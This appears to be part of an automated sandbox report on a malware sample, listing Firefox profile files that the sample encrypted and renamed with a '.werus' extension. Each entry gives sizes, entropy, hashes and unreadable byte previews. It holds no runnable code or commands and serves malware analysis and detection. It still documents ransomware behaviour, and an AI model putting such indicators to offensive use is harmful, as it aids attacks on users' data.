SHA-512:	594EC1AB13389A7E303F83FA01215A69336668603CD37CEDEEDF49EFFD4B067DF8D009EB4E30C18D9DE11739D28EB0B5B049A9F5FF3C305D9EE1F05B0D57B235
Malicious:	true
Preview:	?+..V.....%...O.x.'..].J{......f=..3H.Q.G.!.s.n..CS&.J..........2.]...7.q./.!.....{..3.#..ncB.l...J.7...j,.....7..%O8..O^B......{7... p..W.RF.......B.T..3$B.Xf.M..'B.sv...w9..y....P......`...1"X.9.724..%..IT:..Ra........". ..S.?..r"...Y.'zU.pQ...p....@a.'...^[..>...1a....rV....zLhj.......0.....].C.`\7./^..f;?.}jCp.C......8.-e.x..#.+...L.....X.Q.G..G.T..FBW..6^...G_...z.]...~..%....Ic...Ii..gL..W....5..P3/.c..<.@.P.C..u..A..V....\..T:...... .........,..SBT.f......a....sE...\|...16.{...2\.....u.!.[.x5k..0.....Q.....n.....<.E./.....R/'...\|.....WF6....[n..:C..]...8.........k....-.h...6.........a..=p8..K...b..{...".^$A...Dd.jI'WZ;.0P".#c"..9.ON..).C}c.N.&C..V...+.'/z"...v.-Y.........c..-@..&2U~.Z......#..fg..w..b..;......[s](!G..h..d......F&.0._g...._}F.-P..)...]y.....a.X...j.........Px....-;,..D6.s.-.......#..A.>(..t...&.{...Z.v9.1p..y.&.^.'V.iY}..[..e...C"..Ca..2.M......K.'#..\|..V.../A.........p..&AS.y..F.,...wVF..~..!. ...1....m.W:K..Z.r.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.99358924423689
Encrypted:	true
SSDEEP:	768:ZKG+10Uz5PZ/ID24OUgLLCfnrlE2datTgFWymE1WFl1JejX74e:oG+10QVetPKuFG6NzW1JejX0e
MD5:	BA1FC1C25E494ACCC6C49C818C726DBD
SHA1:	E705953CF6A44A358A5917BC64DA1E4D15B467FB
SHA-256:	C4AC8366F3D7258ED6805BF2ED356F7360D9AF96168E0E2CFC88A61B846E80B7
SHA-512:	8686257302B84F24E822D5B7F7C2E2B6486724B932082B3559AD007A293C74036B7FC9DAE94A52948C223235B5FD4AA66C8EACDC1DEB7716778286D1395D4634
Malicious:	true
Preview:	...N..a. ..lgy.F4.6o./..b.3...^WS?.WA....?.....2T.a..z&.I)SPM..HD..k.1:4F....Ti<.l7a&b...Sz].....n..M`az..p..D.g.,..]\|.:...iv.tIu..\|-.Y2/2f...=gbH._...&j......H..:.v.d.Q..WA.o..@)........N.@.b..PQ.;..9.h.P..&.....9a(...2f.Go[`^.T=..MdA....#.q.5._.\|..^.!....1..F.q).'?..-:.:U..T..2h.7"LZeN.}r.i.....O.....U.VL.u..m...F.....Q...........844......K....,.....].;"/f..vh8#_R.pU...T.NZ...._6e...)E......K7..t.....&f.....'..Ra...0..8.....[.a.'..j.a..^...U.....<1...!...M..-...D..'.`.9[..4.L....C=..Uu.0...../...W_g.?..KS_.w.o.......C...@....k\|....z;..I..`....A!...P_.....#.]..=.2..i.3:....C........... ...._.+,.....9#.i.A...".....V.Dn-GZ&.8...1..;...n......p.tr.........o..........e....I...M..wS.E.7F..\|y.....~.AN.:...J8.1...?.M..1]..R....>A.Z..Y$..c.N[G.[..T...B.....I..2QS.@.X..O.%.E......G4a.1 ...<.I~.U.4.,JB.#......>9....l..4RoB$.U.-.e.x../"..q.;.{..;..-(z.3.J'...#.F.#(.=...G....3q.n.d.h.G.....np..f..&e...R`..K..f....H....R...4Z..?"m7s......Q

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.996785144034872
Encrypted:	true
SSDEEP:	1536:gAcdFm9tM1iVmbNlWObpXJ0LXyrizFILONVikP:gn26FZlpX3uF/Ti0
MD5:	943D0D2B6AA34591C6E29C6572E6865D
SHA1:	E7B9D844EDB268DEBA47CCC5A5B8D7A78553E521
SHA-256:	D4F19E17BCD0D08AB28573EBACD050AA3CEAC7C327C1DF5DF87627D80879F7DF
SHA-512:	E561F4A2C39D0F5D0FEEB41D926188C29B6758BDCD4C9C607786A133986BEF0CB6A07A4D0C71CF1E30480D98301ACF47EDEA687B6391DC00024EF1F2B2F2AA90
Malicious:	true
Preview:	?+..V.....%...O.x.'..].J{......f=..3H.Q.G.!.s.n..CS&.J..........2.]...7.q./.!.....{..3.#..ncB.l...J.7...j,.....7..%O8..O^B......{7... p..W.RF.......B.T..3$B.Xf.M..'B.sv...w9..y....P......`...1"X.9.724..%..IT:..Ra........". ..S.?..r"...Y.'zU.pQ...p....@a.'...^[..>...1a....rV....zLhj.......0.....].C.`\7./^..f;?.}jCp.C......8.-e.x..#.+...L.....X.Q.G..G.T..FBW..6^...G_...z.]...~..%....Ic...Ii..gL..W....5..P3/.c..<.@.P.C..u..A..V....\..T:...... .........,..SBT.f......a....sE...\|...16.{...2\.....u.!.[.x5k..0.....Q.....n.....<.E./.....R/'...\|.....WF6....[n..:C..]...8.........k....-.h...6.........a..=p8..K...b..{...".^$A...Dd.jI'WZ;.0P".#c"..9.ON..).C}c.N.&C..V...+.'/z"...v.-Y.........c..-@..&2U~.Z......#..fg..w..b..;......[s](!G..h..d......F&.0._g...._}F.-P..)...]y.....a.X...j.........Px....-;,..D6.s.-.......#..A.>(..t...&.{...Z.v9.1p..y.&.^.'V.iY}..[..e...C"..Ca..2.M......K.'#..\|..V.../A.........p..&AS.y..F.,...wVF..~..!. ...1....m.W:K..Z.r.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.99475496412129
Encrypted:	true
SSDEEP:	768:v8LCBvMsWlFBNv9jh0JY+8alcGiToijJ73/NGanbVd/PhrlxwN:UL3zfj0OimZToaJT/NbbPhh4
MD5:	59EE7069D19A1F30D068D0CA9B933B90
SHA1:	B35641EEA100A3E2A655A941C419EB44549D7887
SHA-256:	58AD76FA20D819AF140CEF778899CC7B570610C55FC7C6566D613999450C3F47
SHA-512:	77D1902E9C794D29FFA01CF39FCBB3DA272409BFFC25812DE3BAA96CE576396D297993D25B25924B497B41FA7A94D7ADD1F7EAAC004127AB83D96A9D4896A79D
Malicious:	true
Preview:	...N..a. ..lgy.F4.6o./..b.3....7b .+Gr..).=Y1...\|\%p.m...<5.P..M....%...k...}+2....].(&.=Wk......B..5..Bvg.........Z.<)JspAo.S,..d..3.9.....n...iG.zix+..=h..\...B"jN...Uj..AK.g,m..C..+L....j=.A.]....;{"..Y6.k$.Qo.....[....{..m...LWQ.. ..zv.q..A.t>.;R.......S..:.....?./I.{#...d.}b...x.9...2..?Qo+.`.............4..-.&..e.WH...v {^]c......PA..0.!ZT...w....+}...R..L]..S..............0c].J....r...(...........Y.........%yho..M.Z.q...^`I..cMGm..f.z'i.I.......K.]Xs..8.0p.v.....VK^..9.@u)}....).....e.8_.....v.<..sn.yW2Y....E"X.}~6..'..g....VAr/G....d......y..y.q..[......NX...5..~....G..%.yF..8...R...G.`[..r`.w...........!.j.k....H....}.Yt.#.o.0V.;P..,.B.a..z:...f.!..zW..$..W..J.....b.B.+#..?.2..O[...T.2.D...mz.F....+[8,.....N.]......Y..4....D.H.b..>'....E....d.\|.K....W......UB).......'k.C`..c+.........2......V.Y...s.E..b......k.......C.....pK.3..07tM"1u`$.c.i....^U....z..Z>,.~=.x....,w.x1.KNU..p.l......Q...u....rx.2M....=.,-.........F..L.1...,.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.995972081845332
Encrypted:	true
SSDEEP:	768:FSAcuY9hfqANpqOTMMu4dLrRrmmc6o394OksKOYUbE/4EgkxYASPjK/EQ4cQ0:gAcd/L5TZ9mft3qtOYUy4/tASen4G
MD5:	1EA1587E6533A205C44B06E6E2D6CC6A
SHA1:	4A65272E04E241424D08FE739ED90CCDF8374DC0
SHA-256:	BF70BE54F46C735928712F0CD59775E07288C0C60F486C442589AFBD07B5F4E4
SHA-512:	BC1D57230B4EE120FCCD8BC185ABD1C069A5C95E4375A9C3F9CB21667D5A349C782C2206B4463773C20087B31724F7DE6494C735719E9DB43779D113471D343D
Malicious:	true
Preview:	?+..V.....%...O.x.'..].J{......f=..3H.Q.G.!.s.n..CS&.J..........2.]...7.q./.!.....{..3.#..ncB.l...J.7...j,.....7..%O8..O^B......{7... p..W.RF.......B.T..3$B.Xf.M..'B.sv...w9..y....P......`...1"X.9.724..%..IT:..Ra........". ..S.?..r"...Y.'zU.pQ...p....@a.'...^[..>...1a....rV....zLhj.......0.....].C.`\7./^..f;?.}jCp.C......8.-e.x..#.+...L.....X.Q.G..G.T..FBW..6^...G_...z.]...~..%....Ic...Ii..gL..W....5..P3/.c..<.@.P.C..u..A..V....\..T:...... .........,..SBT.f......a....sE...\|...16.{...2\.....u.!.[.x5k..0.....Q.....n.....<.E./.....R/'...\|.....WF6....[n..:C..]...8.........k....-.h...6.........a..=p8..K...b..{...".^$A...Dd.jI'WZ;.0P".#c"..9.ON..).C}c.N.&C..V...+.'/z"...v.-Y.........c..-@..&2U~.Z......#..fg..w..b..;......[s](!G..h..d......F&.0._g...._}F.-P..)...]y.....a.X...j.........Px....-;,..D6.s.-.......#..A.>(..t...&.{...Z.v9.1p..y.&.^.'V.iY}..[..e...C"..Ca..2.M......K.'#..\|..V.../A.........p..&AS.y..F.,...wVF..~..!. ...1....m.W:K..Z.r.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.99358924423689
Encrypted:	true
SSDEEP:	768:ZKG+10Uz5PZ/ID24OUgLLCfnrlE2datTgFWymE1WFl1JejX74e:oG+10QVetPKuFG6NzW1JejX0e
MD5:	BA1FC1C25E494ACCC6C49C818C726DBD
SHA1:	E705953CF6A44A358A5917BC64DA1E4D15B467FB
SHA-256:	C4AC8366F3D7258ED6805BF2ED356F7360D9AF96168E0E2CFC88A61B846E80B7
SHA-512:	8686257302B84F24E822D5B7F7C2E2B6486724B932082B3559AD007A293C74036B7FC9DAE94A52948C223235B5FD4AA66C8EACDC1DEB7716778286D1395D4634
Malicious:	true
Preview:	...N..a. ..lgy.F4.6o./..b.3...^WS?.WA....?.....2T.a..z&.I)SPM..HD..k.1:4F....Ti<.l7a&b...Sz].....n..M`az..p..D.g.,..]\|.:...iv.tIu..\|-.Y2/2f...=gbH._...&j......H..:.v.d.Q..WA.o..@)........N.@.b..PQ.;..9.h.P..&.....9a(...2f.Go[`^.T=..MdA....#.q.5._.\|..^.!....1..F.q).'?..-:.:U..T..2h.7"LZeN.}r.i.....O.....U.VL.u..m...F.....Q...........844......K....,.....].;"/f..vh8#_R.pU...T.NZ...._6e...)E......K7..t.....&f.....'..Ra...0..8.....[.a.'..j.a..^...U.....<1...!...M..-...D..'.`.9[..4.L....C=..Uu.0...../...W_g.?..KS_.w.o.......C...@....k\|....z;..I..`....A!...P_.....#.]..=.2..i.3:....C........... ...._.+,.....9#.i.A...".....V.Dn-GZ&.8...1..;...n......p.tr.........o..........e....I...M..wS.E.7F..\|y.....~.AN.:...J8.1...?.M..1]..R....>A.Z..Y$..c.N[G.[..T...B.....I..2QS.@.X..O.%.E......G4a.1 ...<.I~.U.4.,JB.#......>9....l..4RoB$.U.-.e.x../"..q.;.{..;..-(z.3.J'...#.F.#(.=...G....3q.n.d.h.G.....np..f..&e...R`..K..f....H....R...4Z..?"m7s......Q

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	49168
Entropy (8bit):	7.996233980747864
Encrypted:	true
SSDEEP:	1536:gAcdcwnRYH+iyIF31FWH+k8E3Hy6tuOJJsN:gn+wRYerYlFCrba
MD5:	B35F10B1EF3C21C4B56241DA426DA9BF
SHA1:	934AC51A549C4FC8B70823692601270E8557F0C6
SHA-256:	2CC9BFE13E5612944B526BAFABE7D122DE228DEDA0809D6C0F9BC63007F6E488
SHA-512:	1C6F5535779AB6939C9F5BB4CCAABB1AD765C0AA247192216EFB1BFC64E18F2B54179F7855470A1C705D551E9800F81923E417C6B59EE223842AD2D29A1339BF
Malicious:	true
Preview:	?+..V.....%...O.x.'..].J{......f=..3H.Q.G.!.s.n..CS&.J..........2.]...7.q./.!.....{..3.#..ncB.l...J.7...j,.....7..%O8..O^B......{7... p..W.RF.......B.T..3$B.Xf.M..'B.sv...w9..y....P......`...1"X.9.724..%..IT:..Ra........". ..S.?..r"...Y.'zU.pQ...p....@a.'...^[..>...1a....rV....zLhj.......0.....].C.`\7./^..f;?.}jCp.C......8.-e.x..#.+...L.....X.Q.G..G.T..FBW..6^...G_...z.]...~..%....Ic...Ii..gL..W....5..P3/.c..<.@.P.C..u..A..V....\..T:...... .........,..SBT.f......a....sE...\|...16.{...2\.....u.!.[.x5k..0.....Q.....n.....<.E./.....R/'...\|.....WF6....[n..:C..]...8.........k....-.h...6.........a..=p8..K...b..{...".^$A...Dd.jI'WZ;.0P".#c"..9.ON..).C}c.N.&C..V...+.'/z"...v.-Y.........c..-@..&2U~.Z......#..fg..w..b..;......[s](!G..h..d......F&.0._g...._}F.-P..)...]y.....a.X...j.........Px....-;,..D6.s.-.......#..A.>(..t...&.{...Z.v9.1p..y.&.^.'V.iY}..[..e...C"..Ca..2.M......K.'#..\|..V.../A.........p..&AS.y..F.,...wVF..~..!. ...1....m.W:K..Z.r.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.994047682054132
Encrypted:	true
SSDEEP:	384:Deb/IpjNNwYPCVx7pN4FPtEZ7koShlurk7trCk8JCAT+719xg3LonCGhsn6EzXcz:6kNvE5zmaGNCysJICY2fuuu0J2Qbi
MD5:	A5D0405493D587F5856DFDFE599ECFBB
SHA1:	C8B76ED483A4E4DB2195D2F48D4BAE36F901815B
SHA-256:	729006F2DEF6CBC08659A9E0A98F7D0EC0DDD1FF187758A48D7B84C7FAEDD566
SHA-512:	DF0E1679F8FA90CC23325C9D507A728F13094F5D27978486B776142B4C42C1CA0C121806447DF1A9558634DBD6647FCD5DA25DA50282D63814684403B5DCA1A8
Malicious:	true
Preview:	z..`>.../........{`.$...cb..h.Q..D..K..K.......2n.d0.XR....8'.Ml..).J#j...D..+.././....)[l..K.pL'.a....[:.1.G%<.o.P'..n)/.r../m..2......$..(.J].H.......W....].=.:^\:...f..h.....eH7...&.e2u.......B.j..Ls..]\.....Y....%x2.....{-.+(...\8.4.W.=a......$.......38....zL..Ot.{ ..+.Yx...C..v...a(.6v.q..C.-.m.Rt.{....=......}.$.yu..I...@...\w.!g.Y...]}...F.3.K]u.8.. .....o...T.........."d...I.)r....$..v.u#2.o..Au.^\.Tt.C.VS.....i`7.3..4)&.k..h...Y...Z.l-.<j1.0AI..(.~..3...%(C.%..D:.....F...<ppw.k;s{:.F....1.......j. ..Yz........r.n....~.M....<m(L.q.,.^..-.....2.2 D...%....R.n?U.k...g].....p..sq.Y...A..E\|E..._..T.]}.V=M#.g%..E.....Uf....8+p..\|..}..........K.?.......n'.&.K...^...e..Rk.9.YF.E.v <<..c..$.u......w.+a..\/B.^m.4.6....#.. .sj...V..a?.n.H.h.\|t.M....YNb...0.....F.16.yS..'.....5.@Ql....V.7..>.K.0$.....YF.t..l..oY.Tf:.?wU.M...@%IB.>;...+;O..b.+.W,..Y.)..M........-...-.1.7y..);...............%4*.?=..J..fm..5...;.....0/u.k..6.+.\..S.w...w

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	573456
Entropy (8bit):	7.999684106810733
Encrypted:	true
SSDEEP:	12288:v3rV/rlOAtEQD3yinIiVE2qAAYTkrYcNcYniUAABkSwZ/df6JKOU8NoJAV1/kBa:RlOAtgMHVE2iYTgYcNjzQyKOU8iJADX
MD5:	5722F988191FE0CCAA334B327EC73AA7
SHA1:	4913D09A87FF19FD62D3A787BC339DC7DAB26AA4
SHA-256:	BDF7E8AC095E32BC57B7A8412BED2C1F5628C775A8AABAE2BA9D63C2D70CFDFC
SHA-512:	AF9AEBBF3FABA5CAE91BB7E4940108A0EE320CA3161056D89F3F9DD295EC603086F58C32C97EDE95DDC077F9EF306E18AF0D6EA2D72C0D15AFFE551A2B4FC8F9
Malicious:	true
Preview:	?+..V.....%...O..lD.u.D...].....>._S......j@a .X...,.Wv....Vy..t....&..ah....!.._O.4\|1?..X.7..R..g..&3 .^.N.w.g....%}..0.!t..@t.X...m..wT\Nx#...@Y.$...h.....h......d....+...$e..@......"pi.e....}...)....^.....LwV.Nhd..<c......+(b@.!..J..E....dw.J.3.e.x....eV...g.]'.zm.bV.N..7_.5..y.q..T.4...I...V.)..eS..g.3.^z..C9.)M.n..}.#..y....J.......N...!.ki$..^...7S<.'0l0...M4.S.<...Y...oD.....K......&.z[..B.F.b..t..@z... .rs..t\|....S=..;5H.2.).3.BMH...pM....z........!-Z..;......N.{c.&...Ni0H..q.R...=... .2....H...:....I..........b..I........8...iBm......^.....0<...@#)...y...n7'.'P.k/....K..2.~qZ......6....5..'...b{.j._.+U.J..-_$D.. .!U"6.??....+....-V.xt.i...rg.C....q.....v9.........N./.&".h.8....~&.L..nwJ..U.;(j.K$,.\./.f.USQ..j...6.~.....W.J...~....Z.+miL....};e!_7;.k.....k..6....e.U..I.$...P....,......f..:.9/..%.G.......[J_~S..\4..5..E.......7...n.D.'..x.D1p..)...77oNLQ[P..8.3&.*(5.EY..Y...v.V..2.-S.....&.v^..6M.W.......k......

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	4560
Entropy (8bit):	7.961884905598684
Encrypted:	false
SSDEEP:	96:sRP16yrqg/zDTKZjIRwqfBE/Zrn5dHY/Mgo5uHkziGhDeuUj8x:ukHg/L0NqfO/h5dH4MguHGGhDy8x
MD5:	3F65DBF9286EDC687DDCCF3E8A47F7DC
SHA1:	40E9F75B65A57C69CAF84F1D2FC57F9B282E7575
SHA-256:	B87BCE46D71F4FFEAF433C5A75A801E98E1B36E196213C9C8D4FEB4AA4447EA6
SHA-512:	511199710330B9BB2B6CAAD5B17A00E0D5F5CE653D1CA3A3331420AC0B8F8BDEF71C51FEB8442BF7CB9A90DB17DD0578FD571128E9CA4E0A0AE9EF5B048D0BD9
Malicious:	true
Preview:	.5.....5.....2.bA<.r4.93,..;..-".O8G..G.x7u.S......Dq5.3-%4+.......!5..Re,..;~.....@..L...".....u.....-.g.\|.7...._....u.]wV^...x.....J.J..3.....])E...D..O..D.a...J....Z.M...vd.@........%gT..BVB...b.g_..`...G~ \|>Z.u'..h.Q.ql.P...U.@.....d....bG4...c......Q...y..^...y"p..D8...cXL....#2...d.^.8..R.......f6..Z......@o.Y...q.r.......c.9.UM...s.w....{O.Q.:....k.....>.F.J.........H\|..".....1J..4.U. .D...........R.m...#..J.&....#.U..(....s....;........%..Dd...\|.1.....L..g....0..M.hPn.T......}.49.f?..2.d)..&.L.A.?<.SU.[...c..\|.5.l..;..........x.d4@..T...0e.%{..BIu...q....)......B4.V.K..7..,..\....j.....H{.]S.....z"...WZ./.r.k0...rV..oD.,zv.k...A.......$../&.=.....>......s....oD.....5`....Vm].a........u.t'RB.-..'...L.2\{J.S.p....P.\.f..p..Qmf...6U/!.-..-..o..B.4....2j.......u2...6..U`.i..'....o..*....X..2:..]he.QS.[#N(...R@.R.M(S.C.t..r.~.&.G...%.f...%.>..X.\R...x.7Z.o...Jd...p...#~.\...&..Px... Q.....l(.x..7....@..u.d..v..y2..1....,....!

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	5.75
Encrypted:	false
SSDEEP:	3:UUKkGDa37B34C45vagy4lOn:UUKfGlyaR7n
MD5:	3B6C55E68FD3CB9BF9E526D868FF4E41
SHA1:	C848C004D1B64D7D7977EACF9A5E2D0C7F45E465
SHA-256:	D48ED4111C0B67BED13B9D68547BD7CEBB306C78658AA3803E1DE9D5ECFBC1FD
SHA-512:	4DC35D4545C9478CD41E28AD61DB11216DF66A2E9CA30FAF7C0D63607F75611F470B944994422695C22387A8AED67CE9AB570B1AD4A98652FE42DB98F2B79469
Malicious:	true
Preview:	J..60...^.tw..1....0C.@..3...9Rr...p........p.T%.2........{

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32784
Entropy (8bit):	7.99358924423689
Encrypted:	true
SSDEEP:	768:ZKG+10Uz5PZ/ID24OUgLLCfnrlE2datTgFWymE1WFl1JejX74e:oG+10QVetPKuFG6NzW1JejX0e
MD5:	BA1FC1C25E494ACCC6C49C818C726DBD
SHA1:	E705953CF6A44A358A5917BC64DA1E4D15B467FB
SHA-256:	C4AC8366F3D7258ED6805BF2ED356F7360D9AF96168E0E2CFC88A61B846E80B7
SHA-512:	8686257302B84F24E822D5B7F7C2E2B6486724B932082B3559AD007A293C74036B7FC9DAE94A52948C223235B5FD4AA66C8EACDC1DEB7716778286D1395D4634
Malicious:	true
Preview:	...N..a. ..lgy.F4.6o./..b.3...^WS?.WA....?.....2T.a..z&.I)SPM..HD..k.1:4F....Ti<.l7a&b...Sz].....n..M`az..p..D.g.,..]\|.:...iv.tIu..\|-.Y2/2f...=gbH._...&j......H..:.v.d.Q..WA.o..@)........N.@.b..PQ.;..9.h.P..&.....9a(...2f.Go[`^.T=..MdA....#.q.5._.\|..^.!....1..F.q).'?..-:.:U..T..2h.7"LZeN.}r.i.....O.....U.VL.u..m...F.....Q...........844......K....,.....].;"/f..vh8#_R.pU...T.NZ...._6e...)E......K7..t.....&f.....'..Ra...0..8.....[.a.'..j.a..^...U.....<1...!...M..-...D..'.`.9[..4.L....C=..Uu.0...../...W_g.?..KS_.w.o.......C...@....k\|....z;..I..`....A!...P_.....#.]..=.2..i.3:....C........... ...._.+,.....9#.i.A...".....V.Dn-GZ&.8...1..;...n......p.tr.........o..........e....I...M..wS.E.7F..\|y.....~.AN.:...J8.1...?.M..1]..R....>A.Z..Y$..c.N[G.[..T...B.....I..2QS.@.X..O.%.E......G4a.1 ...<.I~.U.4.,JB.#......>9....l..4RoB$.U.-.e.x../"..q.;.{..;..-(z.3.J'...#.F.#(.=...G....3q.n.d.h.G.....np..f..&e...R`..K..f....H....R...4Z..?"m7s......Q

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:zJCP:kP
MD5:	37830DCFC3BBD37F9777865AF8B758F6
SHA1:	0FB29F5C11F2D6CFFAF855AB4ADC18D10360A0D3
SHA-256:	8572CB5C14FE04B501D54B106FED58084617983903D03A4E6452C3D3DF7624CA
SHA-512:	6D6D6BF5A3C22F25289A22A004ECF1A278E870233E0BDB8F0C70823FA921EC115D784B76FAD386348AAA326144852CD74B5B23678F0DDFD07CA8523AD37FB04F
Malicious:	true
Preview:	.<.D..Kl...T.i.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	98320
Entropy (8bit):	7.998145031796693
Encrypted:	true
SSDEEP:	3072:bWdXa9bQde+EKFoiqwgJNfTLJga78xNoY+:bWdK9bQ9Foi1gbh78xB+
MD5:	6048CF97B7359DEBDE93184FE33BB067
SHA1:	F7700410B8BE951EE3D73A819CACB87D31E32928
SHA-256:	917FB96F30D64263C2D74D0BE33CCD10DE3C1F102DC3290827B217B0A1F9E6E8
SHA-512:	89D6C66CFDF3A38D5EED430069A2A9F362BD526054038F3247753AC2F438F6CE5077DE2D8E322A1ED62B4A58C74F717A69F9B855C150A9E2091431258F8E8CE2
Malicious:	true
